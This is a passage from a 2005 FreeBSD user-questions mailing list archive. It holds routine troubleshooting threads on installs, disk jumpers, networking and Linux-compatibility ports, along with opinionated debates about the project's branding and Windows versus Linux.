2005 15:39:44 +0000 (GMT) Received: from mta10.srv.hcvlny.cv.net (mta10.srv.hcvlny.cv.net [167.206.5.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id A1B9743D3F for ; Sat, 12 Feb 2005 15:39:43 +0000 (GMT) (envelope-from bsdnooby@optonline.net) Received: from [192.168.0.26] (ool-43532b7b.dyn.optonline.net [67.83.43.123]) by mta10.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0IBT00KON266F1@mta10.srv.hcvlny.cv.net> for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 10:39:43 -0500 (EST) Received: from 127.0.0.1 (AVG SMTP 7.0.300 [265.8.7]); Sat, 12 Feb 2005 10:39:32 -0500 Date: Sat, 12 Feb 2005 10:39:32 -0500 From: bsdnooby To: freebsd-questions@freebsd.org Message-id: <420E2334.8080907@optonline.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) Subject: Last try: HP Pavillion zv5445us shuts down during install of 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:39:44 -0000 HP Pavillion zv5445us shuts down during install of 5.3 Right after the screen when you can choose to disable ACPI or to boot in SafeMode (both of which I tried), after making a selection - it shutsdown. I'm trying to install 5.3 from both floppies and CD1. I'm dualbooting Win XP Pro using PartitionMagic8/BootMagic8 - but I do not think that is related. My other Toshiba laptop is using a similar configuration, and works fine. I saw in Google where at least 1 other person had this problem, but there was no resolution. This is a new laptop, P4-3Ghz, 512MB, 100GB drive, LAN & Wifi, etc. Anyone have success with the newer HP pavillions? thx -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 2/10/2005 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:45:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D95FD16A4CE for ; Sat, 12 Feb 2005 15:45:24 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 56E6643D1D for ; Sat, 12 Feb 2005 15:45:24 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 3995BC0C5 for ; Sat, 12 Feb 2005 10:45:37 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 10:45:36 -0500 User-Agent: KMail/1.7.1 References: <2005211204233.443160@IBM-R40> In-Reply-To: <2005211204233.443160@IBM-R40> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121045.36562.ean@hedron.org> Subject: Re: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:45:25 -0000 On February 11, 2005 09:42 pm, Scott wrote: > I will really appreciate it of someone can help > me out. > > I am installing 5.3 on a dual p3 server. I have > two 160 gig Seagate IDE drives on the first IDE > connector, and a CD rom on the 2nd IDE connector. > I have reinstalled several times with different > drive configurations and keep getting stuck at > the same place. > > At boot, the normal countdown loader comes up and > it begins to boot. The boot message gets to this > drive section below and then stops at a > "mountroot>" prompt. > > Begin copy ....... > > ad0: 152627MB [310101/16/63] > at ata0-master UDMA66 > ad1: 152627MB [310101/16/63] > at ata0-master UDMA66 > acd0: at ata1-master PIO4 Your problem may be that you have two drives on the same connector that are both configured as the master. You need to switch the ad1 drive to be the slave. > > Manual root filesystem specification: > : Mount using filesystem > > eg. usf:da0s1a > ? List valid desk boot devices > Abort manual input > > mountroot> > > ............ End copy > > If I type: ufs:ad0s1a > at that "mountroot>" > prompt, it will boot normally and as far as I can > tell, all is working like I would expect. I > suspected this may have something to do with my > fstab but it looks normal to me: > > /dev/ad0s1b none swap sw 0 0 > /dev/ad1s1b none swap sw 0 0 > /dev/ad0s1a / ufs rw 1 1 > /dev/ad1s1d /backup ufs rw 2 2 > /dev/ad0s1d /tmp ufs rw 2 2 > /dev/acd0 /cdrom cd9660 ro,noauto 0 0 > > Please let me know if I can provide more > information that will help you help me know > what to do to get it to automatically go on > to boot ad0s1a. > > Thanks much, > Scott > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:53:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2718916A4CE for ; Sat, 12 Feb 2005 15:53:56 +0000 (GMT) Received: from gromit.dlib.vt.edu (gromit.dlib.vt.edu [128.173.49.29]) by mx1.FreeBSD.org (Postfix) with ESMTP id A4EA743D2F for ; Sat, 12 Feb 2005 15:53:55 +0000 (GMT) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (pool-151-199-113-125.roa.east.verizon.net [151.199.113.125]) by gromit.dlib.vt.edu (8.13.1/8.13.1) with ESMTP id j1CFrrAw049439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 12 Feb 2005 10:53:54 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (localhost.Chelsea-Ct.Org [127.0.0.1]) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1) with ESMTP id j1CFrlno075045 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 12 Feb 2005 10:53:47 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: (from paul@localhost) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1/Submit) id j1CFrl8Z075044; Sat, 12 Feb 2005 10:53:47 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) X-Authentication-Warning: zappa.Chelsea-Ct.Org: paul set sender to paul@gromit.dlib.vt.edu using -f From: Paul Mather To: freebsd-questions@freebsd.org In-Reply-To: <20050212103839.05EEC16A4D0@hub.freebsd.org> References: <20050212103839.05EEC16A4D0@hub.freebsd.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Sat, 12 Feb 2005 10:53:46 -0500 Message-Id: <1108223626.73547.14.camel@zappa.Chelsea-Ct.Org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port cc: Anthony Atkielski Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:53:56 -0000 On Sat, 12 Feb 2005 11:01:27 +0100, Anthony Atkielski wrote: > Paul Mather writes: > > > The operating system is one thing; a certain level support is > another. > > That's Free/Open Source software for you. > > Yes. And it's one of the factors that makes the open-source movement > highly self-limiting. I don't know of any way around it. But that's > why I'd only recommend open-source solutions for mission-critical > functions if an organization already has all the expertise it needs to > support those solutions in-house and on site ... because if something > goes down, that's the only serious support that will be available. In > many situations, a limited level of support is tolerable, but not for > key and mission-critical production use. As I said, that's why you'd contract with one of those outfits in the "Vendors" section. This is not rocket science. (BTW, it is usually not realistic to expect an organisation to have "all the expertise it needs to support those solutions in-house and on site." A simple case in point is the [mission critical] enterprise backup solution used at our University: Tivoli TSM. Sure, we have a TSM administrator who can serve in an operational capacity. But, she sure can't fix bugs in the TSM software (nor repair the hardware). That's why we have a Tivoli support contract, because Tivoli [IBM] have people who [hopefully eventually] can. Ditto with our Sun systems. We don't have on-site Sun engineers, but we do have a support contract with emergency call-out that fulfills the same practical function. The same is true of solutions built out of Open Source products.) Cheers, Paul. -- e-mail: paul@gromit.dlib.vt.edu "Without music to decorate it, time is just a bunch of boring production deadlines or dates by which bills must be paid." --- Frank Vincent Zappa From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:56:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2DFC416A4CE for ; Sat, 12 Feb 2005 15:56:23 +0000 (GMT) Received: from asmtp04.eresmas.com (asmtp04.eresmas.com [62.81.235.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id 43D4743D31 for ; Sat, 12 Feb 2005 15:56:22 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.52] (helo=mx01.eresmas.com) by asmtp04.eresmas.com with esmtp (Exim 4.30) id 1Czzd6-0004XN-1T for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 16:56:20 +0100 Received: from [80.103.57.160] (helo=[80.103.57.160]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1Czzd4-0006Gz-0r for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 16:56:19 +0100 Message-ID: <420E26FD.7090005@wanadoo.es> Date: Sat, 12 Feb 2005 16:55:41 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> <1546398643.20050212123202@wanadoo.fr> <420E0164.7090300@wanadoo.es> <27964692.20050212160046@wanadoo.fr> In-Reply-To: <27964692.20050212160046@wanadoo.fr> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:56:23 -0000 Anthony Atkielski wrote: > Ramiro Aceves writes: > > >>Yes, but some OSes are famous for their "blue screens" > > > None that I'm aware of. Blue screens are more of a popular myth > invented by people who hate Microsoft than a reality. I saw occasional > BSODs long ago when there were driver problems or hardware problems on > servers, but I haven't seen a blue screen in years now. There are not a myth, they are a fact. I have seen bluescreens frecuently in win95 and winMillenium. Now I am out of the winbugs world since 2 years and I am very happy. > > >>One day FreeBSD 5.3 completely crashed when doing something in X-window >>System on an old pentium 75MHz. > > > I've had FreeBSD hang while trying to use X servers, but I never could > establish whether the OS itself had frozen or whether it was just the > interface. It happened often enough that it was one of the reasons why > I abandoned any attempt to use a GUI. Sure X is the culprit. > > >>Sometimes I get my Debian box crashed in my 1200 MHz AMD when I watch TV >>card in X-window and move windows (I do not know if it is a matter of >>bttv driver or X-window System bug, but it is anoying). > > > Notice that these both happen with GUIs. One reason is that GUIs put > hooks into the operating system that destabilize it. It's a very high > price to pay just to see pretty pictures on the screen, in my view. > I need the GUIs for my daily work. Electronic circuit design software requires GUI, imaging editing requieres GUI, and because of that many people needs a GUI, but that is not a reason to use Winbugs. > >>On the other had, when I used Windows I had daily crashes :-) > > > Every instance of daily crashes I've seen in NT-based versions of > Windows has been the result of bad drivers, bad hardware, or user > errors. I have seen also winXP computers here at University that do very weird things everyday. > > >>Cant find this on my english dictionary( I do not know what it means) > > > Hype is exaggerated promotion without fact-based, objective > justification. Thank you very much. I understand now. > > >>I choosed Linux cause I think it was better than the windozes. > > > It's hard to believe how this could be true for desktop use. Each time > I ask for specifics, I'm given a list of things that aren't true, such > as the recurring claim of "daily crashes," when in fact it's extremely > rare for NT-based versions of Windows to ever crash at all. Why not choosing Linux or FreeBSD for the desktop? I can choose a windowmanager among decens, I have many apps that perform the same or better than the winbugs counterparts, and the best of all, they are *free* and do not depend on any comercial enterprise. I do not need too much bells and whistles to fell confortable at the desktop. A fluxbox window manager is perfect for me. The important thing are the apps, not the desktop. > > >>If an OS does not have the "third party apps", it is not useful for >>most of us. > > > That alone is one reason why Windows will probably remain king for the > forseeable future. > It is a matter of time, the problem is that we will not be alive to see it. :-( Ramiro. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:57:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4AB3516A4CE; Sat, 12 Feb 2005 15:57:56 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7E9F443D2D; Sat, 12 Feb 2005 15:57:55 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CFvqos033432; Sat, 12 Feb 2005 16:57:53 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E27DD.1090200@401.cx> Date: Sat, 12 Feb 2005 16:59:25 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1108146951.31338.10.camel@hatter.wonderland.dn> <20050211203848.55287.qmail@web53602.mail.yahoo.com> <811873941.20050211232722@wanadoo.fr> In-Reply-To: <811873941.20050211232722@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-advocacy@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:57:56 -0000 Anthony Atkielski wrote: > Scott I. Remick writes: > >>A better realworld example (which has been mentioned before) is >>www.sendmail.org vs. www.sendmail.com. I think that better reflects what >>people are suggesting for www.freebsd.com. > > > Agreed! Although both sites actually aim at similar markets, since > sendmail is not really something that anyone would use anywhere except > on a server. (Nobody runs sendmail on a desktop, strictly speaking.) > They both aim at exactly the same market, but different personalities. While sendmail.org aims at the more technical people, usually the ones that will actually run the software, sendmail.com aims for the directors, the ones that make the decision to run it. Our current freebsd.org website is perfect for the first category, but believe me, it scares the shit out of the higher management kind of people. Argue all you want that people like that should not be allowed to make such decisions, I've seen it happen and Im sure it happens all the time. So far, I have not seen one single valid argument against a freebsd.com website or a new logo, so I side with the people that wants some changes to happen in this one. -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:06:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 806F316A4CE for ; Sat, 12 Feb 2005 16:06:28 +0000 (GMT) Received: from zephon.secspace.de (zephon.secspace.de [62.75.136.210]) by mx1.FreeBSD.org (Postfix) with ESMTP id 15AC943D1F for ; Sat, 12 Feb 2005 16:06:28 +0000 (GMT) (envelope-from ml@ps102.de) Received: from [192.168.17.11] (p548523D3.dip.t-dialin.net [84.133.35.211]) by zephon.secspace.de (Postfix) with ESMTP id AE34A6EB29; Sat, 12 Feb 2005 17:06:25 +0100 (CET) Message-ID: <420E2992.10509@ps102.de> Date: Sat, 12 Feb 2005 17:06:42 +0100 From: Volker Kindermann User-Agent: Mozilla Thunderbird 1.0 (X11/20050206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: dgw@liwest.at References: <200502112206.43267.dgw@liwest.at> <420D2348.4020408@spintech.ro> <200502121505.20754.dgw@liwest.at> In-Reply-To: <200502121505.20754.dgw@liwest.at> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Alin-Adrian Anton cc: questions@freebsd.org Subject: Re: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:06:28 -0000 Hi Daniela, > Yes, this happens when I connect from my machine (which functions as a router > with NAT to allow the other LAN machines connect to the internet) to another > LAN machine. When the router establishes a connection to another point in the > intranet, the source address used is my official IP, and not 10.0.0.1, which > is the intranet IP of the router. please post the output of the following commands: ifconfig -a netstat -nr -volker From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:12:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2B4DA16A4CE for ; Sat, 12 Feb 2005 16:12:29 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 83BC243D45 for ; Sat, 12 Feb 2005 16:12:29 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id C8696C0C5; Sat, 12 Feb 2005 11:12:42 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org, Raman Date: Sat, 12 Feb 2005 11:12:41 -0500 User-Agent: KMail/1.7.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121112.42208.ean@hedron.org> Subject: Re: LD_ *vars X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:12:30 -0000 On February 12, 2005 01:41 am, Raman wrote: > Hi, > > I want to modify and recompile an application already installed on my > FreeBSD 4.10 machine and then when I'm done with it go back to the way > it was with that application before I modified and recompiled it. I'm not sure about the modifications to the LD vars, though it sounds possible. I regularly test new versions of ports before deploying them. I do this by having a build environment setup in /build. I use chroot to enter the build environment and compile/test the software. I also do this for buildworld when updating the OS. This allows me to install newer (or older) versions of software in the build environment without affecting the running system. > I heard I should use bash and edit the LD_* vars. I was not able to > find anything about them on www.freebsd.org. I wanted to know how > LD_PRELOAD and LD_LIBRARY_PATH worked. > > Thank you for your help and time. > > - Raman > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:15:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3659F16A4CE for ; Sat, 12 Feb 2005 16:15:27 +0000 (GMT) Received: from imo-m25.mx.aol.com (imo-m25.mx.aol.com [64.12.137.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id A28E843D3F for ; Sat, 12 Feb 2005 16:15:26 +0000 (GMT) (envelope-from Freebsd9999@aol.com) Received: from Freebsd9999@aol.com by imo-m25.mx.aol.com (mail_out_v37_r3.8.) id n.1f1.353e5519 (3850) for ; Sat, 12 Feb 2005 11:15:23 -0500 (EST) From: Freebsd9999@aol.com Message-ID: <1f1.353e5519.2f3f859b@aol.com> Date: Sat, 12 Feb 2005 11:15:23 EST To: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: 9.0 for Windows sub 5116 Subject: Re: changing logo X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:15:27 -0000 In a message dated 2/10/05 5:18:00 PM Eastern Standard Time, gad@FreeBSD.org writes: >>Many people may think twice about donating money to the project >>if you are worrying about trivial complaints about a cute little >>"daemon" logo instead of directing energy all to the project! >Oooo. I work on FreeBSD for free. I get zero money from it. All >I am saying is I would like to see what other logos someone might >come up with -- if we gave them a chance. Maybe if you focused more on good code instead of peripheral minutia like logos no-one would care if you even have a logo at all? I vote for an obese beastie with lead boots, to illustrate the new direction of the project. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:16:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60EBE16A4CE for ; Sat, 12 Feb 2005 16:16:15 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1C7F943D2F for ; Sat, 12 Feb 2005 16:16:15 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 7DC93C0C5; Sat, 12 Feb 2005 11:16:28 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:16:27 -0500 User-Agent: KMail/1.7.1 References: <20050212070058.98304.qmail@web51005.mail.yahoo.com> In-Reply-To: <20050212070058.98304.qmail@web51005.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121116.27887.ean@hedron.org> cc: faisal gillani Subject: Re: FreeBSD Banners ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:16:15 -0000 On February 12, 2005 02:00 am, faisal gillani wrote: > i want to promote freebsd on my site , where can i > find good looking freebsd AD banners ? > if you have mail me on > opensource@clickonlinenetworks.com Check out http://www.freebsd.org/art.html > > thanks > -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:18:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BD7E316A4CE for ; Sat, 12 Feb 2005 16:18:41 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id 555F443D2F for ; Sat, 12 Feb 2005 16:18:41 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1CzzyS-0001oS-Nv; Sat, 12 Feb 2005 10:18:26 -0600 Message-ID: <420E2C55.1030601@fusemail.com> Date: Sat, 12 Feb 2005 10:18:29 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Loren M. Lang" References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> <42084226.2060004@fusemail.com> <20050208195025.GI8619@alzatex.com> <42098485.2080404@fusemail.com> <20050209114135.GQ8619@alzatex.com> In-Reply-To: <20050209114135.GQ8619@alzatex.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:18:41 -0000 Loren M. Lang wrote: >On Tue, Feb 08, 2005 at 09:33:25PM -0600, Brian John wrote: > > >>Loren M. Lang wrote: >> >> >> >>>On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote: >>> >>> >>> >>> >>>>Loren M. Lang wrote: >>>> >>>> >>>> >>>> >>>> >>>>>On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: >>>>> >>>>> >>>>> >>>>> >>>>> > > > >>> >>> >>> >>> >>> >>>>>>Thanks >>>>>> >>>>>>/Brian >>>>>>_______________________________________________ >>>>>>freebsd-questions@freebsd.org mailing list >>>>>>http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>>>To unsubscribe, send any mail to >>>>>>"freebsd-questions-unsubscribe@freebsd.org" >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>> >>>>> >>>>> >>>>> >>>>It looks like it is already installed. This is what it says when I try >>>>to install it: >>>>=> Attempting to fetch from >>>>http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. >>>>gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps >>>>===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>>>=> Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. >>>>===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>>>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found >>>>===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>>>===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>>>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: >>>>/compat/linux/etc/redhat-release - found >>>>===> Generating temporary packing list >>>>===> Checking if graphics/linux-gdk-pixbuf already installed >>>>gdk-pixbuf-0.22.0-11.3.5.i386.rpm >>>> >>>>Any other clue what might have caused this? >>>> >>>>Thanks for the help >>>> >>>>/Brian >>>> >>>> >>>> >>>> >>> >>> >>> >>I already tried uninstalling realplayer and gdk-pixbuf using make >>deinstall and make reinstall in those ports. I installed realplayer >>from ports. How can I install linux-base-rh-9? I would like to try that. >> >> > >Here's an idea, since linux_base is already installed, try: > >portupgrade -o emulators/linux_base-rh-9 /var/db/pkg/linux_base-* > >This tells portupgrade to upgrade the linux_base port, but use the >origin for the rh9 version. I'm not certain this will work, but it's >worth a try. I just did a pkg_create -b linux_base-* to make a backup, >then pkg_delete -f linux_base-* and portinstall emulators/linux_base-rh-9. > > > >>thanks >> >>/Brian >> >> > > > Well, I tried that and now I can't run realplayer at all. This is what happens: $ realplay /usr/local/lib/RealPlayer/realplay.bin: error while loading shared libraries: libX11.so.6: cannot open shared object file: No such file or directory Any clue how I can fix this? Thanks for the help /Brian From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:19:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D02516A4CE for ; Sat, 12 Feb 2005 16:19:31 +0000 (GMT) Received: from luzifer.incubus.de (incubus.de [80.237.207.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id D834443D39 for ; Sat, 12 Feb 2005 16:19:30 +0000 (GMT) (envelope-from mkb@incubus.de) Received: from [192.168.2.10] (pD954260D.dip.t-dialin.net [217.84.38.13]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id B05BA2E0B8 for ; Sat, 12 Feb 2005 17:19:29 +0100 (CET) Message-ID: <420E2CA6.3010003@incubus.de> Date: Sat, 12 Feb 2005 17:19:50 +0100 From: Matthias Buelow User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <420E148D.1070306@incubus.de> <311372449.20050212160755@wanadoo.fr> In-Reply-To: <311372449.20050212160755@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:19:31 -0000 Anthony Atkielski wrote: >>Or the city administration of Munich, which intends to move its >>Windows desktops to a Linux/KDE-based installation. > Why not just burn taxpayer euro in a bonfire? It would have the same > end result and it would be faster. Well, if you just run a set of 1-3 applications, and don't do anything else with the computer, there shouldn't be much of a difference. Think, for example, of the software that the clerks feed applications for driving licenses or passports into. That's (most likely) one do-it-all software running on the terminal-like PC all the time. Or a secretary, using some kind of office software (I don't know if they consider OpenOffice). Apart from making a political statement, the advantage is of course being independent from the Microsoft update cycle. Of course whether it's cheaper having the inhouse staff or a consulting 